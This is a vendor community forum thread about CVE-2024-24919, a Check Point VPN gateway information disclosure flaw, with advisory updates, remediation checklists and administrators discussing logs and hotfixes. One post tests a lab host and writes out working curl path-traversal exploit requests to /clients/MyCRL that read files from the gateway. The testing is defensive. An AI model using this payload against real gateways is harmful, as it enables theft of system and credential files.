Important security update - stay protected against VPN Information Disclosure (CVE-2024-24919)

[_Val_]

Update June 5, 2024

We now have fixes for CVE-2024-24919 for releases dating back to R77.30 with latest JHF.

Update June 4, 2024

The procedure to identify vulnerable Security Gateways in sk182336 - Hotfix for CVE-2024-24919 was updated.

The Gateways script was replaced with v3. The updated script checks if the Hotfix is installed.

Update June 03, 2024

Automatic interim preventative measure deployed through AutoUpdater utility

Security Gateways that were configured to the Check Point's Auto Update process are gradually receiving an update (as of June 2, 2024), which helps protect them from various attempts to exploit the CVE. This is an interim preventative measure until the Hotfix is fully installed on customers’ Security Gateways. It is important to emphasize that installing the Hotfix in sk182336 is the best way to stay protected from this vulnerability.

This is relevant for gateways running R80.40 and above. Instructions to confirm this is enabled are in sk182336.

Update June 01, 2024

Quantum Spark

We now have a specific SK related to CVE-2024-24919 for Quantum Spark appliances! : sk182357

In addition to providing links to updated firmware, this SK lists the specific remediation steps that may be necessary on Quantum Spark Appliances, which includes: 

1. Disable the Remote Access VPN blade
2. Change the Administrator passwords and use complex passwords
3. Restrict access through "Reach My Device"
4. Enable Two-Factor Authentication for Administrators (R81.10.10 and higher)
5. Enable Two-Factor Authentication for Remote Access VPN users (R81.10.10 and higher)
6. Enable notifications for administrator access

 

cccd

In R81.10 we added a feature to improve VPN performance - named CCCD

This feature is disabled by default, and we know about few advanced customers who are using it.

Customers who enable CCCD are still vulnerable to CVE-2024-24919 even after installing the Hotfix!

YOU MUST DISABLE CCCD TO BECOME PROTECTED!

Instructions below and also on SK182336:

Run the command: vpn cccd status
The expected output is: vpn: 'cccd' is disabled.

If the output differs, stop the CCCD process by running the vpn cccd disable command.

Updated May 31, 2024

To streamline information flow and simplify actions for our customers and partners, we have consolidated all relevant details about CVE-2024-24919 and its remediation into a single SecureKnowledge article: sk182336.

Please revisit it now, as we have added some updates.

Updated May 30, 2024

To remain protected from CVE-2024-24919, it is mandatory install this on Check Point Quantum and Spark gateways following fix.

In addition, you should take the following extra security measures, which are documented in sk182336:

1. Change the password of the LDAP Account Unit
2. Reset password of local accounts connecting to Remote Access VPN with password-only authentication
3. Prevent Local Accounts from connecting to VPN with Password-Only Authentication
4. Renew the server certificates for the Inbound HTTPS Inspection on the Security Gateway
5. Renew the certificate for the Outbound HTTPS Inspection on the Security Gateway
6. Reset Gaia OS passwords for all local users
7. Regenerate the SSH local user certificate on the Security Gateway (see the SK for more details)
8. Renew the certificate for the SSH Inspection

Update May 28, 2024

Yesterday (May 27th) we delivered a solution that addresses attacks we saw on a small number of customers’ VPN remote access networks.

Today we found the root cause for these attacks and are now releasing a fix. To remain protected, it is mandatory install this on Check Point Quantum and Spark gateways following fix.

The vulnerability we found (CVE-2024-24919) affects Security Gateways with remote access VPN or mobile access blade enabled. It is potentially allowing an attacker to read certain information on Gateways once connected to the internet and enabled with remote access VPN or mobile access.

The fix we developed prevents the use of this vulnerability, once deployed on the relevant Gateways. Install this now to stay protected.

The attempts we’ve seen so far, inline with what we alerted you yesterday, are focusing on remote access on old local accounts with unrecommended password-only authentication within the known small customers we referred to yesterday. Check Point’s network is not affected by this.

More information on today’s notification can be found here.

Customer security is our top priority. We will continue to investigate this issue and provide additional updates.

For additional information, please contact Check Point Support Center or your Check Point representative.

Originally posted on May 27, 2024.

Over the past few months, we have observed increased interest of malicious groups in leveraging remote-access VPN environments as an entry point and attack vector into enterprises.

Attackers are motivated to gain access to organizations over remote-access setups so they can try to discover relevant enterprise assets and users, seeking for vulnerabilities in order to gain persistence on key enterprise assets.

We have recently witnessed compromised VPN solutions, including various cyber security vendors. In light of these events, we have been monitoring attempts to gain unauthorized access to VPNs of Check Point’s customers. 

By May 24, 2024 we identified a small number of login attempts using old VPN local-accounts relying on unrecommended password-only authentication method.

We have assembled special teams of Incident Response, Research, Technical Services and Products professionals which thoroughly explored those and any other potential related attempts. Relying on these customers notifications and Check Point’s analysis, the teams found within 24 hours a few potential customers which were subject to similar attempts.

Password-only authentication is considered an unfavourable method to ensure the highest levels of security, and we recommend not to rely on this when logging-in to network infrastructure.

Check Point has released a solution, as a preventative measure to address these unauthorised remote access attempts.

We encourage our customers to enhance their VPN security posture by:

• Check if you have local accounts, if they were used and by whom.
• If you don’t use them – best to disable them.
• If you have local accounts which you want to use and are password-only authenticated, add another layer of authentication (like certificates) to increase your environments IT security.
• As said, If you are a Check Point customer, deploy our solution on your Security Gateways. This will automatically prevent unauthorized access to your VPNs by local accounts with password-only authentication method.

Learn more and receive practical guidance for configuration monitoring and practices to enhance your VPN security posture.

For any additional assistance required, please contact Check Point technical support Center or your local Check Point representative.

We value the collaboration of our customers and dedication of our teams to reach a solution which effectively addresses any such attempts.

[ICSI]

For those new in Check Point using 1500 Family appliances, I created this video about how to upgrade the firmware. 

Not the best, but my two cents.

[Moti · Accepted solution]

https://www.youtube.com/playlist?list=PLMAKXIJBvfAiD8JbRZJGb2Bnrr7qkI5Fb
A Playlist that will populate all relevant best practices and use cases to mitigate CVE-2024-24919. (Sourced from Evangelists, CheckMates, etc.)

If you have a video candidate to be added to the list, please add it as a reply to my comment and we will review it 

Thanks! 

[Wolfgang]

This is the "remote user activity report" with added filter of the known suspected IPs from sk182336. You can see VPN activities from these known IPs.

 

[Danny]

I recommend to search for /clients/MyCRL or simply mycrl in order to identify those malicious http post requests.

Non compliant http post requests are blocked by Access Control:

Compliant http post requests might be shown as prevented by IPS but keep in mind that this will only secure Check Point VPN gateways behind an IPS gateway. If your VPN blade is on the same system as your IPS blade, the http post requests will be successful even if the log shows prevent.

[Moudar]

so anything like this means breach?

[Duane_Toler]

Check the Destination port/ Service of those logs.  If it's 443, and you didn't have the CVE patch, then yes.  The IPS rule also has packet captures enabled, so check those in Wireshark/tcpdump to see what request was sent thus what file was pulled.  It's probably /etc/passwd and/or /etc/shadow.

If you have MD5 passwords for those accounts, consider them compromised and change them.  SHA256/SHA512 passwords stand a better chance at attack, but you should still change them anyway. Especially if you re-use the same password in other places.

[Moudar]

so what could this mean:

[Duane_Toler]

I tested a vulnerable host and I wasn't able to pull system files via the ICA or FW1_topo ports.  I was curious about those as well, fearing the scope was wider.  Doesn't appear to be the case that way.

[_Val_]

It says "Prevent", so you can count those as prevented exploitation attempts, not a breach.

[Moudar]

But Danny said: " If your VPN blade is on the same system as your IPS blade, the post request will be successful even if the log shows prevent."

That is my case!

[Duane_Toler]

Indeed.  I saw the same as Danny reported.

[Moudar]

So, how to check exactly if these logs means a breach or not. I could not find a "Destination port" on the logs!?

[Duane_Toler]

Change your log column profile to Firewall.  Right click on any column heading, select Firewall.  In the log card you posted, Service is the destination port (TCP/18264). 

Check other logs for port 443. Those are your "IoC", of a sort.

[Moudar]

All logs have these service:

TCP 264

or 

TCP 18264

[Duane_Toler]

I wager you're safe, but it's just a suspicion, not proven fact.  YMMV, IANAL, don't quote me on it.

Here are some samples from a vulnerable lab host I have, using HTTP and HTTPS:

# HTTP port 80
[testuser@pentest01:~]$ IP=10.0.0.252; curl -s -k -X POST -H "Content-Type: text/plain" -d "aCSHELL/../../../../../../../etc/motd" "http://$IP/clients/MyCRL" ;echo

# HTTPS port 443
[testuser@pentest01:~]$ IP=10.0.0.252; curl -s -k -X POST -H "Content-Type: text/plain" -d "aCSHELL/../../../../../../../etc/motd" "https://$IP/clients/MyCRL" ;echo
Hello Check Mates

# HTTP port 18264
[testuser@pentest01:~]$ IP=10.0.0.252; curl -s -k -X POST -H "Content-Type: text/plain" -d "aCSHELL/../../../../../../../etc/motd" "https://$IP:18264/clients/MyCRL" ;echo

# HTTPS port 18264
[testuser@pentest01:~]$ IP=10.0.0.252; curl -s -k -X POST -H "Content-Type: text/plain" -d "aCSHELL/../../../../../../../etc/motd" "http://$IP:18264/clients/MyCRL" ;echo
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> 404 File Not Found </TITLE>
</HEAD>
testuser@
<BODY>

The URL you requested could not be found on this server.

</BODY>
</HTML>

# HTTPS port 18264
[testuser@pentest01:~]$ IP=10.0.0.252; curl -s -k -X POST -H "Content-Type: text/plain" -d "aCSHELL/../../../../../../../etc/motd" "https://$IP:18264/clients/MyCRL" ;echo

# HTTP port 264
[testuser@pentest01:~]$ IP=10.0.0.252; curl -s -k -X POST -H "Content-Type: text/plain" -d "aCSHELL/../../../../../../../etc/motd" "http://$IP:264/clients/MyCRL" ;echo

# HTTPS port 264
[testuser@pentest01:~]$ IP=10.0.0.252; curl -s -k -X POST -H "Content-Type: text/plain" -d "aCSHELL/../../../../../../../etc/motd" "https://$IP:264/clients/MyCRL" ;echo

[testuser@pentest01:~]$ 

 
If someone knows a more sly way to pull via ICA ports, please volunteer, but I suspect this vector is not workable.

[Duane_Toler]

On my vulnerable lab host with an eval, I installed the IPS blade and latest update package.  Here's the results of the same scans as above.  The vulnerable VPN gateway is also this IPS gateway. Notice zero preventions on port 443, which is the vulnerable port.  Everything was allowed and I was able to pull files from the disk as before.

The scans on other ports triggered the IPS rule with Prevent action.  That's not relevant, because even without IPS (the scans in my previous post), the exploit doesn't work on these other ports.  It's only via port 443..

Hopefully R&D can figure out how to make this work better and be more effective.  Maybe they just need more time to sort it out, because this is by far the more common deployment scenario.

edit: formatting and content, after getting some rest; clearly, I was tired myself, and no doubt so are we all.

[_Val_]

It was mentioned multiple times in this thread, IPS protection Is only effective, if the traffic is being forwarded to another GW. 

A gateway running IPS in front of the remote access gateway will also need to do inbound HTTPS inspection. We need to be able to look at the full path and body of the HTTP request.

On a vulnerable host itself, it will not block the exploits. 

[_Val_]

Thanks, @Duane_Toler for testing. If you find any previously unknown vulnerability, please report it through the official tool and not publicly, to follow the industry standards of the responsible disclosure.

[_Val_]

Quoting what Danny said: Compliant http post requests might be shown as prevented by IPS but keep in mind that this will only secure Check Point VPN gateways behind an IPS gateway.

[aheilmaier]

this suspected IPs report is only usable, if I have a smart event system, right ?

with smart log I have to define the list by myself like:

blade:"Mobile Access" src:23.227.196.88 src:23.227.203.36 .....

[Wolfgang]

@aheilmaier you‘re right, SmartEvent/Smartreporter must be enabled to run this report.

[ICSI]

CVE 2024 24919 (youtube.com) this is just how to upgrade the firmware. it is a quick shot due the urgency.

[MLad]

Hi,
We installed the hotfix (for R81.10 T130) but the script still displays the alert about vulnerable Remote Access gateways.
Can we check something more?

Best, 

[_Val_ · Accepted solution]

This is an expected result. Quoting from the SK:

The purpose of the script is to check if your GWs could be potentially vulnerable because of RAS VPN or/and Mobile Access blades enabled.

[Thomas_Eichelbu]

Hello 

just installed the VPN hotfix on a member with R81.10 Take 110, and internet stopped!!!
no Web Access is possible anymore

i saw we possible run into https://support.checkpoint.com/results/sk/sk140612
or maybe: https://support.checkpoint.com/results/sk/sk176144

"DNS timeout/error: Connection was rejected due to DNS timeout or error" error message when Users cannot browse to Internet

but i cannot fix it ... Internet Stops!
Gateway runs as Transparent Proxy ... 
did anybody encountered the same issue?

---------------------------
forget my post, we did a reboot of the affected GW and now it works ... whatever has caused this issue is now gone!

[_Val_]

Please open a priority ticket with TAC

[jberg712]

Even after installing the hotfix, the script still indicates vulnerability.  And the only recommendation coded in the script is to install the hotfix.  I don't understand why there isn't more to it to tell you exactly where you're vulnerable. 

What all is the script checking for and seeing it's still vulnerable when the hotfix is already installed?

[Thomas_Eichelbu]

dont pay to much attention to the script!
CVE-2024-24919 has nothing to do with local users or user with only 1 factor or 10 million factors!
you  are v u l n e ra b l e  if the gateway is member of the Remote Access Community, thats it!
the script doesnt check any software installed, it only collects MGMT data.

[jberg712]

That is very unhelpful if that's all it's doing.  

[Thomas_Eichelbu]

just follow this steps!

1. Change the password of the LDAP Account Unit
2. Reset password of local accounts connecting to VPN with password authentication
3. Prevent Local Accounts from connecting to VPN with Password Authentication
4. Renew the server certificates for the Inbound HTTPS Inspection on the Security Gateway
5. Renew the certificate for the Outbound HTTPS Inspection on the Security Gateway
6. Reset Gaia OS passwords for all local users
7. Regenerate the SSH local user certificate on the Security Gateway in the following case:
8. Renew the certificate for the SSH Inspection

LDAP password:
also think on Identity Collector!!! change it if your are using it!
dont let the service account run as Domain Admin! Domain User is sufficient!
unless you allow the VPN Client to write backt to the AD! (password change using VPN Client)